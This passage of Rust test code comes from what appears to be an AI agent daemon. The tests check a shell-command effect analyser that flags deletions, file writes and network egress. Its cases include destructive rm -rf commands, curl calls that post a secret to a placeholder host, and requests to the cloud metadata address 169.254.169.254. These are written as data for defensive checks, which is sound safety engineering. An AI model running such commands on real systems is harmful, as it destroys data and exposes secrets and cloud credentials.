5871 ("( rm /tmp/aidaemon-test/x )", Incomplete),
5872 ("X=1 rm /tmp/aidaemon-test/x", Incomplete),
5873 ("rm -- -rf", Exact(vec![delete("/tmp/aidaemon-test/w/-rf")])),
5875 (
5876 "git ls-remote git@git.example.invalid:acme/repo.git",
5877 Incomplete,
5878 ),
5879 (
5880 "unlink /tmp/aidaemon-test/x",
5881 Exact(vec![delete("/tmp/aidaemon-test/x")]),
5882 ),
5883 ("rm /tmp/aidaemon-test/*.o", Incomplete),
5884 ("rm ~other/x", Incomplete),
5885 ("rm /tmp/aidaemon-test/a\\ b", Incomplete),
5886 ("shred /tmp/aidaemon-test/x", Incomplete),
5887 ("truncate -s0 /tmp/aidaemon-test/x", Incomplete),
5888 ("dd of=/tmp/aidaemon-test/x", Incomplete),
5889 ("install a /tmp/aidaemon-test/b", Incomplete),
5890 ("ln -s a /tmp/aidaemon-test/b", Incomplete),
5891 ("chmod 600 /tmp/aidaemon-test/x", Incomplete),
5892 (
5894 "curl https://a.example.invalid/ | grep x; echo y > /tmp/aidaemon-test/f || true",
5895 Exact(vec![
5896 egress("a.example.invalid:443"),
5897 write("/tmp/aidaemon-test/f"),
5898 ]),
5899 ),
5900 ("bash x && curl https://a.example.invalid/", Incomplete),
5901 ("echo {a,b} > /tmp/aidaemon-test/f", Incomplete),
5903 ("echo * > /tmp/aidaemon-test/f", Incomplete),
5904 (
5905 "curl -H \"X: $TOKEN\" https://a.example.invalid/",
5906 Incomplete,
5907 ),
5908 (
5911 "cat <<'EOF'\ncurl https://a.example.invalid/\nEOF",
5912 Exact(vec![]),
5913 ),
5914 (
5915 "cat <<EOF > /tmp/aidaemon-test/f\nrm -rf /tmp/aidaemon-test/keep\nEOF",
5916 Exact(vec![write("/tmp/aidaemon-test/f")]),
5917 ),
5918 (
5919 "cat <<-EOF\n\tcurl https://a.example.invalid/\n\tEOF\ncurl https://b.example.invalid/",
5920 Exact(vec![egress("b.example.invalid:443")]),
5921 ),
5922 ("echo x # ; rm -rf /tmp/aidaemon-test/w/keep", Exact(vec![])),
5923 (
5924 "echo x #\ncurl https://b.example.invalid/",
5925 Exact(vec![egress("b.example.invalid:443")]),
5926 ),
5927 (
5928 "echo \"a\nrm -rf /tmp/aidaemon-test/keep\ncurl https://a.example.invalid/\"",
5929 Exact(vec![]),
5930 ),
5931 (
5932 "echo 'a\ncurl https://a.example.invalid/ > /tmp/aidaemon-test/f'",
5933 Exact(vec![]),
5934 ),
5935 (
5937 "echo hi >&1file",
5938 Exact(vec![write("/tmp/aidaemon-test/w/1file")]),
5939 ),
5940 ("echo hi >&2", Exact(vec![])),
5941 ("echo hi 2>&-", Exact(vec![])),
5942 ("echo hi >&2-", Exact(vec![])),
5943 (
5945 "find /tmp/aidaemon-test/w/x -follow -delete",
5946 Exact(vec![delete("/tmp/aidaemon-test/w/x")]),
5947 ),
5948 (
5950 "curl -w @fmt https://a.example.invalid/",
5951 Exact(vec![egress("a.example.invalid:443")]),
5952 ),
5953 (
5954 "curl --write-out @fmt https://a.example.invalid/",
5955 Exact(vec![egress("a.example.invalid:443")]),
5956 ),
5957 (
5959 "curl dict://h.example.invalid/d:x",
5960 Within(vec![egress("h.example.invalid:2628")]),
5961 ),
5962 ("curl ldap://h.example.invalid/", Within(vec![])),
5963 ("curl telnet://h.example.invalid/", Within(vec![])),
5964 (
5965 "curl gopher://h.example.invalid:70/",
5966 Exact(vec![egress("h.example.invalid:70")]),
5967 ),
5968 (
5970 "wget --output-document=~/x https://a.example.invalid/",
5971 Within(vec![
5972 write("/tmp/aidaemon-test/w/~/x"),
5973 egress("a.example.invalid:443"),
5974 ]),
5975 ),
5976 (
5977 "curl -o~/x https://a.example.invalid/",
5978 Within(vec![
5979 write("/tmp/aidaemon-test/w/~/x"),
5980 egress("a.example.invalid:443"),
5981 ]),
5982 ),
5983 ];
5984 let mut wrong = Vec::new();
5985 for (command, expect) in cases {
5986 let effects = shell_call_effects(command, Some(w));
5987 let ok = !effects.complete
5988 && match expect {
5989 Incomplete => true,
5990 Exact(mut expected) => {
5991 let mut keys = effects.keys.clone();
5992 let order = |key: &EffectKey| format!("{} {}", key.class, key.target);
5993 keys.sort_by_key(order);
5994 expected.sort_by_key(order);
5995 keys == expected
5996 }
5997 Within(allowed) => effects.keys.iter().all(|key| allowed.contains(key)),
5998 };
5999 let clean = effects
6001 .keys
6002 .iter()
6003 .all(|key| !key.target.contains(['{', '}', '*', '?', ',', '\\']));
6004 if !ok || !clean {
6005 wrong.push(format!("{command:?} => {effects:?}"));
6006 }
6007 }
6008 assert!(
6009 wrong.is_empty(),
6010 "{} wrong:\n{}",
6011 wrong.len(),
6012 wrong.join("\n")
6013 );
6014 let partial = shell_call_effects("git pull https://a.example.invalid/r", None);
6016 assert!(partial.keys.contains(&egress("a.example.invalid:443")));
6017 }
6018
6019 #[cfg(unix)]
6021 #[test]
6022 fn shell_paths_resolve_through_symlinks_physically() {
6023 let dir = tempfile::tempdir().unwrap();
6024 let w = dunce::canonicalize(dir.path()).unwrap();
6025 let w = w.to_str().unwrap();
6026 std::fs::create_dir_all(format!("{w}/a/real")).unwrap();
6027 std::os::unix::fs::symlink(format!("{w}/a/real"), format!("{w}/link")).unwrap();
6028 std::os::unix::fs::symlink(format!("{w}/missing"), format!("{w}/dangling")).unwrap();
6029 let key = |class, path: String| EffectKey {
6030 class,
6031 target: path,
6032 };
6033 let trailing = shell_call_effects(&format!("rm -rf {w}/link/"), None);
6035 assert!(!trailing.complete);
6036 assert!(
6037 trailing
6038 .keys
6039 .contains(&key(EffectClass::Delete, format!("{w}/a/real")))
6040 );
6041 assert!(
6042 trailing
6043 .keys
6044 .contains(&key(EffectClass::Delete, format!("{w}/link")))
6045 );
6046 let climbed = shell_call_effects(&format!("rm -rf {w}/link/../victim"), None);
6048 assert!(!climbed.complete);
6049 assert!(
6050 climbed
6051 .keys
6052 .contains(&key(EffectClass::Delete, format!("{w}/a/victim")))
6053 );
6054 let redirected = shell_call_effects(&format!("echo x > {w}/link/../f"), None);
6055 assert!(!redirected.complete);
6056 assert_eq!(
6057 redirected.keys,
6058 vec![key(EffectClass::Write, format!("{w}/a/f"))]
6059 );
6060 assert!(
6062 shell_call_effects(&format!("echo x > {w}/dangling/f"), None)
6063 .keys
6064 .is_empty()
6065 );
6066 }
6067
6068 #[test]
6071 fn proven_fetch_urls_only_when_exit_status_vouches_for_every_fetch() {
6072 let url = "https://synthetic-tunnel.example/";
6073 let other = "http://127.0.0.1:8080/wp-login.php";
6074 assert_eq!(
6075 proven_fetch_urls(&format!("curl -sSfL {url}")),
6076 Some(vec![url.to_string()])
6077 );
6078 assert_eq!(
6079 proven_fetch_urls(&format!("curl -s -o /dev/null -w '%{{http_code}}' '{url}'")),
6080 Some(vec![url.to_string()])
6081 );
6082 assert_eq!(
6083 proven_fetch_urls(&format!("wget -q -O - {other} 2>&1")),
6084 Some(vec![other.to_string()])
6085 );
6086 assert_eq!(
6087 proven_fetch_urls(&format!("curl -sI {url} && /usr/bin/wget --spider {other}")),
6088 Some(vec![url.to_string(), other.to_string()])
6089 );
6090 assert_eq!(
6091 proven_fetch_urls(&format!("curl --url {url}")),
6092 Some(vec![url.to_string()])
6093 );
6094
6095 for masked in [
6097 format!("curl -s {url}; true"),
6098 format!("curl -s {url} || echo down"),
6099 format!("curl -s {url} | head -5"),
6100 format!("curl -s {url} |& tee /tmp/out"),
6101 format!("curl -s {url} & wait"),
6102 format!("(curl -s {url})"),
6103 format!("curl -s {url}\necho done"),
6104 format!("curl -s {url} && echo ok"),
6105 format!("echo start && curl -s {url}"),
6106 "curl -s $(cat /tmp/url)".to_string(),
6107 "curl -s \"$URL\"".to_string(),
6108 format!("URL={url} curl -s {url}"),
6109 format!("sudo curl -s {url}"),
6110 format!("curl -s {url} {other}"),
6111 format!("curl -K /tmp/curlrc {url}"),
6112 format!("/tmp/bin/curl -s {url}"),
6113 "curl -s synthetic-tunnel.example".to_string(),
6114 "curl -s 'https://synthetic-tunnel.example/{a,b}'".to_string(),
6115 "curl -s".to_string(),
6116 String::new(),
6117 ] {
6118 assert_eq!(proven_fetch_urls(&masked), None, "{masked}");
6119 }
6120 }
6121
6122 #[cfg(windows)]
6126 mod powershell {
6127 use super::super::*;
6128
6129 #[test]
6130 fn reading_cmdlets_are_observations() {
6131 for line in [
6132 r"Get-Content C:\Users\alice\notes.txt",
6133 "Start-Sleep -Seconds 1; Write-Output done",
6134 r"gci C:\Users\alice | Select-String TODO",
6135 r"Test-Path C:\Users\alice\notes.txt",
6136 ] {
6137 assert!(command_effects(line).observation_only, "{line}");
6138 }
6139 }
6140
6141 #[test]
6142 fn a_backslash_does_not_hide_a_delete() {
6143 let effects = command_effects(r"Get-Content C:\; Remove-Item C:\data");
6144 assert!(!effects.observation_only);
6145 assert!(effects.deletes);
6146 }
6147
6148 #[test]
6149 fn code_bearing_arguments_are_unknown() {
6150 for line in [
6151 "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
6152 "Write-Output $(Remove-Item x)",
6153 "Get-Content @args",
6154 "Select-Object @{n='x';e={Remove-Item y}}",
6155 ] {
6156 let effects = command_effects(line);
6157 assert!(!effects.observation_only, "{line}");
6158 assert!(!effects.local_work_only, "{line}");
6159 }
6160 }
6161
6162 #[test]
6163 fn powershell_curl_is_not_read_as_curl() {
6164 let line = "curl -Method Post -Body secret https://example.invalid/x";
6165 assert!(!only_reads(line));
6166 assert!(fetches_network(line));
6167 }
6168
6169 #[test]
6170 fn curl_exe_is_curl() {
6171 let effects = shell_call_effects("curl.exe -s https://example.invalid/x", None);
6172 assert!(
6173 effects
6174 .keys
6175 .iter()
6176 .any(|key| key.class == EffectClass::Egress),
6177 "{:?}",
6178 effects.keys
6179 );
6180 assert!(only_reads("curl.exe -s https://example.invalid/x"));
6181 }
6182
6183 #[test]
6184 fn remove_item_targets_are_read() {
6185 let effects = command_effects(r"Remove-Item -Recurse -Force C:\tmp\aidaemon-test\x");
6186 assert!(effects.deletes);
6187 assert_eq!(
6188 effects.delete_targets,
6189 Some(vec!["C:/tmp/aidaemon-test/x".to_string()])
6190 );
6191 assert!(command_effects(r"New-Item -ItemType Directory C:\tmp\x").local_work_only);
6192 }
6193
6194 #[test]
6195 fn web_cmdlets_name_where_they_go() {
6196 for line in [
6197 "curl http://169.254.169.254/latest/meta-data/",
6198 "Invoke-WebRequest -Uri http://169.254.169.254/latest/",
6199 ] {
6200 let effects = shell_call_effects(line, None);
6201 assert!(!effects.understood, "{line}");
6202 assert!(
6203 effects
6204 .keys
6205 .iter()
6206 .any(|key| key.class == EffectClass::Egress
6207 && key.target.starts_with("169.254.169.254")),
6208 "{line}: {:?}",
6209 effects.keys
6210 );
6211 }
6212 }
6213
6214 #[test]
6215 fn remove_item_declares_its_delete() {
6216 let effects = shell_call_effects(r"Remove-Item -Recurse C:\tmp\x", None);
6217 assert!(
6218 effects
6219 .keys
6220 .iter()
6221 .any(|key| key.class == EffectClass::Delete),
6222 "{:?}",
6223 effects.keys
6224 );
6225 }
6226 }
6227}